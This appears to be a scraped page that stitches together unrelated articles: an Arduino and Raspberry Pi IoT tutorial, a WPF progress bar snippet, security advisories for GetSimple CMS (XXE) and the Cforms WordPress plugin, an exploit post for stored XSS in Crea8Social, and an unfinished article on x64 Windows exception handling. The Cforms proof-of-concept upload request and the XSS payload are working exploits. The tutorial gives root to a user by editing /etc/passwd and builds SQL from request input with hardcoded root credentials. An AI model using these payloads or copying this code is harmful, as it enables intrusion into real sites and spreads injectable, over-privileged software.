Google Spreadsheet of the user. parameters.AccessCode = accessCode; OAuthUtil.GetAccessToken(parameters); string accessToken = parameters.AccessToken; requestFactory = new GOAuth2RequestFactory(null, "MySpreadsheetIntegration-v143455", parameters); myService = new SpreadsheetsService("MySpreadsheetIntegration-v143455"); myService.RequestFactory = requestFactory; Now, we are authorized to use Google Apps with the tokens. SpreadsheetQuery query = new SpreadsheetQuery(); SpreadsheetFeed feed = myService.Query(query); foreach (SpreadsheetEntry entry in feed.Entries) { // your sheets in your Google Drive } Refer to the project code attached to this article for more detail. So far, we did an Arduino circuit and an Arduino program to collect temperature data and door open/close status, created a spreadsheet to store our data and written an Android program, a C# program to read the data from Google spreadsheet and had some fun on testing it as well. What's next? Let us try writing some data back to another IoT device called Raspberry PI. Getting Started with Raspberry PI B+ Raspberry PI B+ is a well known credit card sized computer board which can be programmed to control your externel devices/equipments or can be used as your mini computer. When you get your fresh Raspberry PI board, you will have to install your Linux based OS called Raspbian (the latest one at the time of writing this article) on your board using a Micro SD card (for B+). The OS can be downloaded from http://www.raspberrypi.org/downloads/ Put your OS card on the board, connect keyboard/mouse, Ethernet cable and a display to start PI. Once your OS installation process is complete, just do few terminal commands to get your OS updated and to get ready for your Python programming, Updates & Upgrades: sudo apt-get update sudo apt-get upgrade Python Package Manager sudo apt-get install python-pip Google API Client for Python sudo pip install --upgrade google-api-python-client GData for Python sudo apt-get install python-gdata Geany - Python IDE on Linux for Windows Programmers sudo apt-get install geany To use Python PI Camera Module sudo apt-get install python-picamera Geany will be best if you are just out of Windows programming and trying to do python on Linux. But Geany will not work on terminal. If you use Putty or any other terminal to connect to your PI board remotely, then Geany will not be your choice. Instead, you can use "nano" editor from your terminal or if you want to do remote connection with UI, try tightvncserver. We are going to use nano from terminal. $ nano mypythonprogram.py Note that, if you use nano you will have to specify the below line as your first line of your program, if you want to run your module directly from terminal. #!/usr/bin/python This will tell your Linux system what interpreter to execute your program. Once you finish your program, the following line will change your program module as executable (still you can edit your program thou) and this is an one time command for your file. $ chmod +x mypythonprogram.py Ok, let us connect to our Google Spreadsheet again, now through our Python module. We are going to use the same method as we did for C# program. First get the authorization URL to get user permission, authToken = gdata.gauth.OAuth2Token(client_id=MCLIENT_ID, client_secret=MCLIENT_SECRET, scope= MSCOPE, user_agent='iotdevice.client') print OAuthToken.generate_authorize_url() Then use the verification code to get access and refresh tokens, OAuthToken.get_access_token(code) rtoken= OAuthToken.refresh_token atoken=OAuthToken.access_token Now, the tokens are the key to access Google Spreadsheet, let us use it. OAuthToken = gdata.gauth.OAuth2Token(client_id=MCLIENT_ID, client_secret=MCLIENT_SECRET, scope=MSCOPE, user_agent='iotdevice.client', access_token=atoken, refresh_token=rtoken) client = gdata.spreadsheets.client.SpreadsheetsClient() OAuthToken.authorize(client) The above code had authorized Spreadsheet "client" object using the token. So, the client object can be used to access Google sheets now on. We need to read the cell values which represent switch flags (Door Open, Heater Switch and Cooler Switch). So, let us access the cells cquery = gdata.spreadsheets.client.CellQuery(2,2,5,7) cells = client.GetCells(SPID, WID, q=cquery) dooropened = cells.entry[0].cell.input_value heaterswitch = cells.entry[1].cell.input_value coolerswitch = cells.entry[2].cell.input_value SPID is the spreadsheet id which we discussed in Google Appscript topic. What is WID in the code? It works normally as 0 based index (0, 1 , 2, ....). But it is acutally a bit related to the "gid=" which you see in your spreadsheet (worksheet) URL, but not actually that gid valule. It is a bit tricky part to understand, you may need to refer to some of the links in references section of this article which I referred for a solution. WID is an unique ID given for your sheet similar to the gid value. You can find the wid of the sheets if you run this code below and search for "id" tags, you will find something similar to 'od6', 'od7', 'od5', etc., at the end of the URLs and thats the id we are talking about. Normally, 'od6' will be the 1st sheet of your spreadsheet. But, if your delete the first one and the next will not take 'od6'. client.GetCells(SPID, WID, q=cquery) uses this wid to choose your sheet. As I mentioned earlier, it works with index as well. The links which I mentioned gives a formula to calculate wid from gid and vice versa. print client.GetWorksheets(SPID, auth_token=OAuthToken) Note that, CellQuery parameters takes (row min, row max, col min, col max) parameters, GetCells takes (spreadsheet id, worksheeet id, cell query). Well, we got the cell data which can now direct our Raspberry PI GPIO pin to switch ON/OFF electric devices through a Relay module. Remember that, Raspberry PI B+ is not just about GPIO pins, it is much more than that, we are just focusing on GPIO pins for our article purpose. Controlling GPIO pins: We have got the swtich ON/OFF data from spread sheet, now passing this to Raspberry PI GPIO pins is all we need to do to achive our goal. Here is a bit of information about Relay module, Relay module is our interface switch between our low voltage programmed circuit board and the high voltage outside world. The small pins as you can see in the above picture are our triggering pins, make it HIGH/LOW to switch ON/OFF your electric supply through Relay. Three screw points on the other side of each Relay module are our high voltage point. Those three are NO, COM, NC pins, that is Normal Open, Common, Normal Close respectively. The symbol on your relay showing connected tells you which pin is Normally Closed. When you supply 5v to the other end of Relay, the Common pin will switch its connection to Normal Open. Ok, thats a bit of electronic stuff, let us come back to our programming stuffs. Note that, to use GPIO pins, the logged in user needs hardware access permission. I am going to use root permission to the "pi" user. To do that, login to root using "su" command and open /etc/passwd file using nano editor $ nano /etc/passwd find pi user and change pi:x:1000:1000 to pi:x: 0: 0 and press Ctrl+O, Enter to Save, then Ctrl+X to exit pi:x:0:0:,,,:/home/pi:/bin/bash Similar to Arduino pin setup, you need to setup your GPIO pins to use for your relay module. Below is the code to show you how to setup your GPIO pins, HEATERPIN = 12 COOLERPIN = 16 GPIO.setmode(GPIO.BOARD) GPIO.setup(HEATERPIN, GPIO.OUT, initial=0) GPIO.setup(COOLERPIN, GPIO.OUT, initial=0) # # reset of our gdata code # and.... if heaterswitch == '1': print 'HEATER ON' GPIO.output(HEATERPIN, 1) else: print 'HEATER OFF' GPIO.output(HEATERPIN, 0) if coolerswitch == '1': print 'COOLER ON' GPIO.output(COOLERPIN, 1) else: print 'COOLER OFF' GPIO.output(COOLERPIN, 0) Note that GPIO.setmode() function is to setup how the pin numbers are going to be used in our program. GPIO.BOARD tells that the pin usage is as per the Board pin sequence. GPIO.BCM tells that the pin numbering will be as per CPU (ie., GPIO pin numbers). Use either, based on how you understand your board pins. Our program sets board pins 12 & 16 for OUTPUT (GPIO.OUT) to control heater and cooler. initial=0, makes the initial value of the pin to LOW. GPIO.output() function controls HIGH/LOW value of the pin, the second parameter of the function can be 1/0 or GPIO.HIGH/GPIO.LOW or true/false. Always make sure you cleanly exit the program by calling GPIO.cleanup() function if you use GPIO pins in your program. If not, you may not get access to those pins on your next run. To make sure you cleanly exit even during an interrupt (like keyboard interrupt) or a crash, keep your code within a try/except block. Note: The python program attached with this article is just a terminal program - not a daemon/background program. So if you run it on your PI device, it will run infinitely until you press Ctrl+C to interrupt it. See Links & References section below for a link on how to make Python program run as Background. Usage: Create anonymous access Google Script using GoogleAppScriptForPI.txt (Refer Google AppScript section for details). Create a Google sheet named "URL" and use the sheet id in the script. Update your Python module (with Google Appscript Authorization) with your sheet id. Run your Python module. By the time your module asks for Verification code, your "URL" sheet would have been updated with Authorization URL. So, run your Google Appscript from your browser to authorize and get verification code. Watch this video for "How it works": To See it in Action: Connect an AC volt electric device (a table fan or table lamp) to the Relay module. Take your mobile with our Android IoT Client. Switch ON/OFF heater/cooler switch on your mobile app and see your Fan and lamp response to it. Disclaimer & Warning: Using Relay module involes high voltage connections. So, don't do it unless you know what you are doing, otherwise you will be even risking your life for it. Or making a small mistake may even make your device or electronic equipment unusable. This article or author holds no responsibilty for any such things. Do whatever you do with your device/current on your own risk. My recommendation is to take help of an Electrician to check your connections or just use LEDs to test. Camera & Upload So far, we made couple of IoT devices communicating to a mobile device user through Google App Webservice. What if you want an IoT device react to another IoT device action. What to do if you want your PI device to take a picture when Arduino device sends a Door Open notification. With all we have done so far, this is not going to be a difficult task, is'nt it? Just program your Python program to capture a picture when the dooropened spreadsheet cell turns to "1". Though I am not going to cover this topic in detail, this will be easy to understand and use in your project. Do some search yourself for Python Multipart file upload using urllib2 library. Below is the simple code to capture a picture through your PI camera. import picamera # # do your gdata code # and ..... # camera = picamera.PiCamera() if dooropened == '1': print 'SECURITY BREACH: DOOR OPENED' GPIO.output(DOORPIN, 1) # if you want any physical action like raising an alarm sound camera.capture('dooropened.jpg') # capture an image of the location near your door else: print 'DOOR STATUS CLOSE' GPIO.output(DOORPIN, 0) Windows .NET Webservice If you can afford a web server or if you are ready to use your laptop/computer as your webserver, writing your own webservice will be the best choice to manage your data between devices. Create your simple web service by opening Visual Studio IDE (I use 2010) --> New Project. Choose "ASP .NET Web Service Application" template from the "New Project" window. If you can't find "Web Service" template on your list, it may be the .NET version choice on the top, select the right version (I used 3.5). Finally, click OK. That's it! your Webservice is ready. Is it? Yes, you can just press "F5" and test your web service "HelloWorld()" running on your localhost web page. It is easy to learn .NET webservice and there are too many articles around about it. So, let us jump to what we want to do with it. We need our Arduino program to post some data to our Web Service. Isn't it? Let us do that. Modify your HelloWorld function in your Webservice like this, using System.Data.Odbc; // : // : // : String connectionString = "DRIVER={MySQL ODBC 5.1 Driver};SERVER=localhost;DATABASE=IotDatabase;USER=root;PASSWORD=root;OPTION=3;"; [WebMethod] public string ArduinoData(String temp, String doorData) { try { using (OdbcConnection IotDataCon = new OdbcConnection()) { IotDataCon.ConnectionString = connectionString; IotDataCon.Open(); // Insert or update your single record based on your need String query = "UPDATE IotDatabase.COMMAND SET TEMPERATURE='" + temp + "', DOOROPENED=" + doorData + " WHERE ID=1;"; OdbcCommand cmd = new OdbcCommand(query, IotDataCon); cmd.ExecuteNonQuery(); } } catch (OdbcException exp) { // handle your Odbc exception return "NOK"; } return "OK"; } Note the [WebMethod] just above the ArduinoData() function. That tells your Service that ArduinoData() function needs to be published to web. You can also write normal functions or classes which you dont need to be published on your Web Service program. Now, compile your webservice, go to your Project Explorer and right click on your Project folder, choose "Publish". Note that your Visual Studio need to be launched as "Administrator" for publishing to IIS folder. Publish wizard can create a folder for you if the given folder not exist (IotDemoWebService here). The below screeshot shows how to do it, make sure you do a Release build for your final version. After publishing it, go to your IIS Manager (Control Panel --> Administrative Tools) and you can see your Webservice folder under "Sites" --> "Default Web Site". Right click on your webservice folder and "Convert to Application", then "OK". All right! you have created your own web service. Now make a call to it from another machine (your Arduino device). char server[] = "yourwebserver"; data = "temp="+String(temperature,DEC)+"&doorData="+String(st,DEC); client.print("POST IotDemoService/IoTDemoService.asmx/ArduinoData HTTP/1.1\n"); client.print("Host: youwebserver\n"); client.print("Connection: close\n"); client.print("Content-Type: application/x-www-form-urlencoded\n"); client.print("Content-Length: "); client.print(data.length()); client.print("\n\n"); // end of http header client.print(data); if (client.available()) { char c = client.read(); } client.stop(); If you do a POST to your webservice, POST IotDemoService/IotDemoService.asmx/ArduinoData HTTP/1.1 Host: yourwebserver Content-Type: application/x-www-form-urlencoded Content-Length: 21 temp=10.23&doorData=0 you will get a response like below, HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Content-Length: 86 <?xml version="1.0" encoding="utf-8"?> <string xmlns="http://tempuri.org/">OK</string> You can do the same for your Raspberry PI module as well. Links & References Oauth2 for Devices: https://developers.google.com/accounts/docs/OAuth2ForDevices Arduino Reference: http://arduino.cc/en/Tutorial/HomePage Google Spreadsheet GID: http://stackoverflow.com/questions/11290337/how-to-convert-google-spreadsheets-worksheet-string-id-to-integer-index-gid Raspberry PI Pin Test: http://raspi.tv/2014/raspberry-pi-b-testing-all-the-gpio-ports Python File Upload: http://pymotw.com/2/urllib2/ Python Script Run as Background: http://blog.scphillips.com/2013/07/getting-a-python-script-to-run-in-the-background-as-a-service-on-boot/ A comparison table to basic statements of the programming languages used in this article, Bloopers 1. Codeproject Smilies: While writing this article, I couldn't able to make this pi:x: 0: 0 appear on this article page properly as it was always showing pi:xBlush | Blush | . I like them thou, but I dont want them there. Then I had to use spaces to make it appear. 2. Initially the door security idea was just referring to any door, later I changed it to safety locker door after watching a thriller movie on which the villains used safety locker mobile alert system. 3. I was using two spreadsheets for testing the device alternatively. There was a time, I spent around 3 hours when the device was not responding to mobile command, the 3 hours of time was just to find out I was using wrong spreadsheet id. 4. I use LEDs mostly to check signals. One of my LEDs went down without letting me know. As it was working earlier, I was looking for problem in other area for some time until I found the little dead man on my bread board. Conclusion Number of devices collecting data and variety of devices collecting data are increasing rapidly day to day. When you plan to put your device on internet, security to your data and device takes more priority. For example, on this article Arduino is passing data to Google Spreadsheet on a pulicly shared URL without any security whereas RaspberryPI is using OAuth2 authentication for communication. Raspberry PI or Arduino device can act as Web Servers themself. So, you don't need a separate Web server running for your devices as they can do it by their own. Raspberry PI can be programmed to stream video to your mobile device when there was a security breach detected, so that you can see what is going on right away from your mobile. Sky is the limit for your imagination in IoT world. Keep exploring and do innovations. Hope this article helped you understand IoT space to some level. Source
-
This is a simple progressbar which will show the percentage. It will change the text color according to the progress color. Introduction This is a basic WPF progress bar control. It looks like XP style progressbar which will show the progress value and text. WPF progressbar doesn't show the progress text. I have a project which needs to show the progress value to the user. So I decided to develop a ProgressBar which will show the progress value on the progressbar. <Style x:Key="{x:Type local:YagnaProgressBar}" TargetType="{x:Type local:YagnaProgressBar}"> <Setter Property="Background" Value="Transparent"/> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="{x:Type local:YagnaProgressBar}"> <Grid x:Name="PART_ProgressbarGrid" Background="Transparent"> <Canvas x:Name="PART_ProgressBarCanvas" Background="Transparent" VerticalAlignment="Stretch" HorizontalAlignment="Stretch"> <TextBox x:Name="PART_ProgressBarBorder" Background="Green" IsReadOnly="True" Canvas.Left="0" Canvas.Top="0" IsEnabled="False"/> <Border x:Name="PART_ProgressBarRectangle" Background="Blue" BorderThickness="0" Canvas.Left="0" Canvas.Top="0"/> <TextBlock x:Name="PART_ProgressBarWhiteText" Text="0%" FontFamily="Arial" FontSize="12" Foreground="Blue" Background="Transparent" Canvas.Left="0" Canvas.Top="0" VerticalAlignment="Center"/> </Canvas> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> Points of Interest I am new to WPF. I found it very interesting. History 4th January, 2015: Initial version Source
-
------------------------------------------------------------------ GetSimple CMS <= 3.3.4 (api.php) XML External Entity Vulnerability ------------------------------------------------------------------ [-] Software Link: http://get-simple.info/ [-] Affected Versions: All versions from 3.1.1 to 3.3.4. [-] Vulnerability Description: The vulnerable code is located in the /admin/api.php script: 22. #step 2 - setup request 23. $in = simplexml_load_string($_POST['data'], 'SimpleXMLExtended', LIBXML_NOCDATA); 24. $request = new API_Request(); 25. $request->add_data($in); User input passed via the "data" POST parameter is not properly sanitized before being used in a call to the "simplexml_load_string()" function at line 23. This can be exploited to carry out XML External Entity (XXE) attacks, resulting in arbitrary file disclosures. Successful exploitation of this vulnerability requires the External API to be enabled from within the gsconfig.php file and the application running on PHP before version 5.3.23 or 5.4.13. NOTE: this vulnerability might be abused to disclose sensitive data stored in XML files, which might allow attackers to bypass the authentication mechanism and access the administration panel in order to achieve arbitrary PHP code execution. [-] Solution: Update to version 3.3.5 Beta 1 or disable the External API. [-] Disclosure Timeline: [22/10/2014] - First attempt to contact the vendor [28/10/2014] - Issue reported to http://git.io/HEjBUg [29/10/2014] - CVE number requested [13/11/2014] - CVE number assigned [02/12/2014] - Version 3.3.5 Beta 1 released [31/12/2014] - Publication of this advisory [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2014-8790 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2014-17 Source
-
- 1
-
-
Advisory: Remote Code Execution via Unauthorised File upload in Cforms 14.7 Advisory ID: - Author: Zakhar Fedotkin Affected Software: Wordpress Plugin Cforms II 14.x-14.7 (Release: 12th Nov 2014) Vendor URL: https://wordpress.org/plugins/cforms2/ Vendor Status: fixed CVE-ID: - ========================== Vulnerability Description: ========================== The Cforms 14.7 and before are vulnerable to unauthorised user file upload. It's affected contact forms thats was created without file upload box. File lib_nonajax.php accept files with all extensions, that could lead to remote code execution ================== Technical Details: ================== POC: Request to the valid contact form looks like: POST /wordpress/ HTTP/1.1 .. Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------13530703071348311666826727318 Content-Length: 1747 -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf2_field_1" -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf2_field_2" test -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf2_field_3" test@test.com -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf2_field_4" http:// -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_uploadfile2[]"; filename="up.php" Content-Type: text/php <? phpinfo(); ?> -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_working2" <span>One%20moment%20please...</span> -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_failure2" <span>Please%20fill%20in%20all%20the%20required%20fields.</span> -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_codeerr2" <span>Please%20double-check%20your%20verification%20code.</span> -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_customerr2" yyy -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="cf_popup2" nn -----------------------------13530703071348311666826727318 Content-Disposition: form-data; name="sendbutton2" 1 -----------------------------13530703071348311666826727318-- The error is in lib_nonajax.php and default settings lib_nonajax.php allow to upload files to the default directory for versions below 14..6.3 it is cfroms plugin home directory. For version 14.6.3 and after it is wordpress upload directory. Default settings for contact form without upload field is None, so it's possible to upload *.php file. ========= Solution: ========= Update to the latest version ==================== Disclosure Timeline: ==================== 15-Dec-2014 ? found the vulnerability 22-Dec-2014 - informed the developers 23-Dec-2014 - response by vendor 27-Dec-2014 ? fix by vendor 29-Dec-2014 - release date of this security advisory 29-Dec-2014 - post on Bugtraq ======== Credits: ======== Vulnerability found and advisory written by Zakhar Fedotkin. =========== References: =========== https://wordpress.org/plugins/cforms2/ http://infosec.ru Source
-
# Exploit Title: Crea8Social v.2.0 XSS Change Interface # Google Dork: intext:Copyright © 2014 CreA8social. # Date: January 3, 2015 # Exploit Author: r0seMary # Vendor Homepage: http://crea8social.com # Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com # Version: v.2.0 (Latest version) # Tested on: Windows 7 # CVE : - ================================================================================ Bismillahirahmanirahim Assalamualaikum Wr.Wb --[Fatal Xss Vulnerability]-- 1. Register on the site 2. Go to Menu, Click Game 3. Add Game 4. At Game Content, enter your xss code. for example: <script>document.body.innerHTML="your text here"</script><noscript> look at the result, the user interface change into your xss code Proof of Concept: http://104.131.164.9/demo/games/124 (Crea8Social Official Site) ./r0seMary Wassalamualaikum.wr.wb Source
-
In my last post, you may remember how the latest Uroburos rootkit was able to disarm Patchguard on Windows 7. I was recently looking into how Patchguard is implemented in Windows 8.1 and decided to dig into Exception Handling on x64. As a matter of fact, all the new 64-bit Windows operating systems have entirely changed the way they manage error conditions from their state in older 32-bit versions of Windows (C++ exceptions and OS Structured Exception handling). There are a lot of papers available on 64-bit Windows exception handling on the web, but I decided to increase my knowledge on this topic with the goal to understand how it is implemented and to correctly characterize some strange behavior associated with the implementation of Patchguard on Windows 8.1. Here are some interesting articles that can be found online: Exceptional Behavior - x64 Structured Exception Handling - OSR Online. The NT Insider, Vol 13, Issue 3, 23 June 2006. Skape, Improving Automated Analysis of Windows x64 Binaries - Uninformed, June 2006. A great article from Matt Miller Johnson, Ken. "Programming against the x64 exception handling support." - Nynaeve. N.p., 5 Feb. 2007. A very good serie of articles that deals with Windows Vista x64 SEH implementation written by Ken Johnson (Skywing) I strongly recommend that all the readers check out these 3 papers. I won't be rehashing any of the work there. I will also assume that the reader already knows how Windows Structured Exception Handling and C++ exceptions handling can be exploited to manage errors conditions. If not, I personally recommend the following book that explains very well how this is done: Richter, Jeffrey, and Christophe Nasarre. Windows via C/C++. Redmond, WA: Microsoft, 2007 Quick introduction As the 3 articles mentioned above explain, x64 exception handling is not stack-based. Therefore, a lot of Structured Exception Handling (SEH) attacks have became ineffective against 64 bit binaries. 64-bit Windows Portable Executables (PE) have what is called the "Exception Directory data directory". This directory implements the 64-bit version of exception handling. It’s the compiler’s duty to add the relative RUNTIME_FUNCTION structure in the exception directory for each chunk of code directly or indirectly involved with exception handling. Here's what this structure looks like: typedef struct _RUNTIME_FUNCTION { DWORD BeginAddress; // Start RVA of SEH code chunk DWORD EndAddress; // End RVA of SEH code chunk DWORD UnwindData; // Rva of an UNWIND_INFO structure that describes this code frame } RUNTIME_FUNCTION, *PRUNTIME_FUNCTION; Each runtime function points to an UNWIND_INFO structure that describes one of the most important feature of Windows error handling: the Frame Unwind. Before I describe what frame unwinding is, let’s take a look at the key structures related to the stack unwind (the “UnwindData” member of the RUNTIME_FUNCTION structure points to a UNWIND_INFO): // Unwind info flags #define UNW_FLAG_EHANDLER 0x01 #define UNW_FLAG_UHANDLER 0x02 #define UNW_FLAG_CHAININFO 0x04 // UNWIND_CODE 3 bytes structure typedef union _UNWIND_CODE { struct { UBYTE CodeOffset; UBYTE UnwindOp : 4; UBYTE OpInfo : 4; }; USHORT FrameOffset; } UNWIND_CODE, *PUNWIND_CODE; typedef struct _UNWIND_INFO { UBYTE Version : 3; // + 0x00 - Unwind info structure version UBYTE Flags : 5; // + 0x00 - Flags (see above) UBYTE SizeOfProlog; // + 0x01 UBYTE CountOfCodes; // + 0x02 - Count of unwind codes UBYTE FrameRegister : 4; // + 0x03 UBYTE FrameOffset : 4; // + 0x03 UNWIND_CODE UnwindCode[1]; // + 0x04 - Unwind code array UNWIND_CODE MoreUnwindCode[((CountOfCodes + 1) & ~1) - 1]; union { OPTIONAL ULONG ExceptionHandler; // Exception handler routine OPTIONAL ULONG FunctionEntry; }; OPTIONAL ULONG ExceptionData[]; // C++ Scope table structure } UNWIND_INFO, *PUNWIND_INFO; The compiler produces a RUNTIME_FUNCTION structure (and the related unwind info data) for almost all procedures directly or indirectly related with SEH (or C++ exceptions). The only exception, as outlined in "Programming against the x64 exception handling support.", is for the leaf functions: these functions are not enclosed in any SEH blocks, don’t call other subfunctions and make no direct modifications to the stack pointer (this is very important). Let’s assume that a parent function surrounded by a __try __except block calls another function from its __try code block. When an exception occurs in the unprotected sub function, a stack unwinding occurs. The Windows kernel MUST indeed be able to restore the original context and find the value of the RIP register (instruction pointer) from before the call to the sub function had occurred (or a call to a function that subsequently jumps to the leaf function). This procedure of unwinding the stack is called Frame Unwind. The result of Frame Unwind is that the state of the key registers, including the stack, are restored to the same state as before the call to the exception-causing function. This way, Windows can securely detect if an exception handler (or terminator handle) is present, and subsequently call it if needed. The frame unwind process is the key feature of the entire error management. The unwind process is managed in the Windows kernel and can be used even in other ways (take a look at RtlVirtualUnwind kernel function, which is highlighted in Programming against the x64 exception handling support). Exception Handling implementation - Some internals The Skywing articles (mentioned at the beginning of the paper - Programming against the x64 exception handling support) cover the nitty gritty details of the internals of stack unwind in the 64-bit version of Windows Vista. The current implementation of unwind in Windows 8.1 is a bit different but the key concepts remain the same. Let's take a look at exception handling. The internal Windows function RtlDispatchException is called whenever an exception occur. This function is implemented in the NTDLL module for user mode exceptions, and in the NTOSKRNL module for kernel mode exceptions, although in a slightly different manner. The function begins its execution by performing some initial checks: if a user-mode “vectored” exception handler is present, it will be called; otherwise standard SEH processing takes place. The thread context at the time of exception is copied and the RtlLookupFunctionEntry procedure is exploited to perform an important task: to get the target Image base address and a Runtime Function structure starting with a RIP value, that usually points to the instruction that has raised the exception. Another structure is used: the Exception History Table. This is, as the name implies, a table used by the Windows kernel to speed up the lookup process of the runtime function structure. It is not of particular interest, but for the sake of completeness, here's its definition: #define UNWIND_HISTORY_TABLE_SIZE 12 typedef struct _UNWIND_HISTORY_TABLE_ENTRY { ULONG64 ImageBase; PRUNTIME_FUNCTION FunctionEntry; } UNWIND_HISTORY_TABLE_ENTRY, *PUNWIND_HISTORY_TABLE_ENTRY; typedef struct _UNWIND_HISTORY_TABLE { ULONG Count; // + 0x00 USHORT Search; // + 0x04 USHORT bHasHistory; // + 0x06 ULONG64 LowAddress; // + 0x08 ULONG64 HighAddress; // + 0x10 UNWIND_HISTORY_TABLE_ENTRY Entries[UNWIND_HISTORY_TABLE_SIZE]; } UNWIND_HISTORY_TABLE, *PUNWIND_HISTORY_TABLE; If no runtime function is found, the process is repeated using the saved stack frame pointer (RSP) as RIP. Indeed in this case, the exception is raised in a leaf function. If the stack frame pointer is outside its limit (as in the rare case when a non-leaf function does not have a linked RUNTIME_FUNCTION structure associated with it), the condition is detected and the process exits. Otherwise, if the RUNTIME_FUNCTION structure is found, the code calls the RtlVirtualUnwind procedure to perform the virtual unwind. This function is the key of exception dispatching: starting with the Image base, the RIP register value, the saved context and a RUNTIME_FUNCTION structure, it unwinds the stack to search for the requested handler (exception handler, unwind handler or chained info) and returns a pointer to the handler function and the correct stack frame. Furthermore, it returns a pointer to something called the “HandlerData”. This pointer is actually the SCOPE TABLE structure, used for managing C++ exceptions. This kind of stack unwind is virtual because no unwind handler or exception handler is actually called in the entire process: the stack unwind process is actually stopped only when a suitable requested handler is found. With all the data available, the NT kernel code now builds the DISPATCHER_CONTEXT structure and exploits RtlpExecuteHandlerForException to perform the transition to the language handler routine (_C_specific_handler in the case of SEH and C++ exceptions). It is now the duty of the language handler routine to correctly manage the exception. // Call Language specific exception handler. // Possible returned values: // ExceptionContinueExecution (0) - Execution must continue over saved RIP // ExceptionContinueSearch - The language specific dispatcher has not found any handler // ExceptionNestedException - A nested exception is raised // ExceptionCollidedUnwind - Collided unwind returned code (see below) // NO Return - A correct handler has processed exception EXCEPTION_DISPOSITION RtlpExecuteHandlerForException(EXCEPTION_RECORD *pExceptionRecord, ULONG64 *pEstablisherFrame, CONTEXT *pExcContext, DISPATCHER_CONTEXT *pDispatcherContext); he implementation of RtlDispatchException in kernel mode is quite the same, with 3 notable exceptions: No Vectored exception handling in kernel mode A lot of further checks are done, like data alignment and buffer type checks RtlVirtualUnwind is not employed (except for collided unwinds), but an inlined unwind code is exploited (that relies on the internal procedures RtlpUnwindOpSlots and RtlpUnwindEpilogue) SEH and C++ Language specific Handler The standard SEH and C++ exception handler is implemented in the _C_specific_handler routine. This routine is, like the RtlDispatchException, implemented either in user mode or in the kernel. It starts by checking if it was called due to a normal or collided unwind (we will see what a collided unwind is later on). If this is not the case, it retrieves the Scope Table, and starts cycling between all of the entries in table: if the exception memory address is located inside a C++ scope entry segment, and if the target member of the scope table is not zero, the exception will be managed by this entry. The handler member of the scope entry points to an exception filter block. If the pointer is not valid, and the struct member is 1, it means that the exception handler has to be always called. Otherwise the exception filter is called directly: DWORD ExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers, LPVOID EstablisherFrame); The filter can return one of these three possible dispositions: EXCEPTION_CONTINUE_EXECUTION - The C specific handler exits with the value ExceptionContinueExecution; code execution is then resumed at the point where the exception occurred (the context is restored by the internal routine RtlRestoreContext) EXCEPTION_CONTINUE_SEARCH - The C specific handler ignores this Scope item and continues the search in the next Scope table entry EXCEPTION_EXECUTE_HANDLER - The exception will be managed by the _C_specific_handler code If the filter returns the code EXCEPTION_EXECUTE_HANDLER, the C specific handler prepares all the data needed to execute the relative exception handler and finally calls the routine RtlUnwindEx. This function unwinds the stack and calls all the eventual intermediate __finally handlers, and the proper C exception handler. The routine is called by the C-specific handler in a particular way: the target C++ exception handler pointer is passed in the “TargetIp” parameter, while the original exception pointer is located in the exception record structure. This is a very important fact, as this way all the eventual intermediate terminator handlers are called. If the C-specific handler had call the specific exception handler directly, all the intermediate __finally handlers would have been lost, and the collided unwinds (a particular unwind case) would have been impossible to manage. RtlUnwindEx doesn’t return to the caller if it’s able to identify the real exception handler. Here we provide all the data structures related to the Scope table: // C Scope table entry typedef struct _C_SCOPE_TABLE_ENTRY { ULONG Begin; // +0x00 - Begin of guarded code block ULONG End; // +0x04 - End of target code block ULONG Handler; // +0x08 - Exception filter function (or “__finally” handler) ULONG Target; // +0x0C - Exception handler pointer (the code inside __except block) } C_SCOPE_TABLE_ENTRY, *PC_SCOPE_TABLE_ENTRY; // C Scope table typedef struct _C_SCOPE_TABLE { ULONG NumEntries; // +0x00 - Number of entries C_SCOPE_TABLE_ENTRY Table[1]; // +0x04 - Scope table array } C_SCOPE_TABLE, *PC_SCOPE_TABLE; The important thing to note is that if there is a valid handler routine in the Scope Table entry but the target pointer is NULL, it means that the related target code is enclosed by a "finally" block (and only managed by the unwinding process). In this case the handler member points to the code located in the finally block. Particular cases Frame Consolidation Unwinds As outlined in "Programming against the x64 exception handling support", this is a special form of unwind that is indicated to RtlUnwindEx with a special exception code, STATUS_UNWIND_CONSOLIDATE. This exception code slightly changes the behavior of RtlUnwindEx; it suppresses the behavior of substituting the TargetIp argument to RtlUnwindEx with the Rip value of the unwound context (as already seen in the C-specific handler routine). Furthermore, there is special logic contained within RtlRestoreContext (used by RtlUnwindEx to realize the final, unwound execution context) that detects the consolidation unwind case, and enables a special code path that treats the ExceptionInformation member of ExceptionRecord structure as a callback function, and calls it. Essentially, consolidation unwinds can be thought of as a normal unwind, with a conditionally assigned TargetIp whose value is not determined until after all unwind handlers have been called, and the specified context has been unwound. This special form of unwind is in often used in C++ exceptions. Collided unwinds A collided unwind, as the name imply, occurs when an unwind handler routine initiates a secondary unwind operation. An unwind handler could be for example a SEH terminator handle (routine that implements the __finally block). A collided unwind is what occurs when, in the process of stack unwind, one of the call frames changes the target of an unwind. This definition is taken from "Programming against the x64 exception handling support", and I found quite difficult to understand at the first sight. Let’s see an example: int _tmain(int argc, _TCHAR* argv[]) { // Let's test normal unwind and collided unwind TestUnwinds(); return 0; } // Test unwind and Collided Unwinds BOOLEAN TestUnwinds() { BOOLEAN retVal = FALSE; // Returned value DWORD excCode = 0; // Exception code // Test unwind and Collided Unwinds __try { // Call a function with an 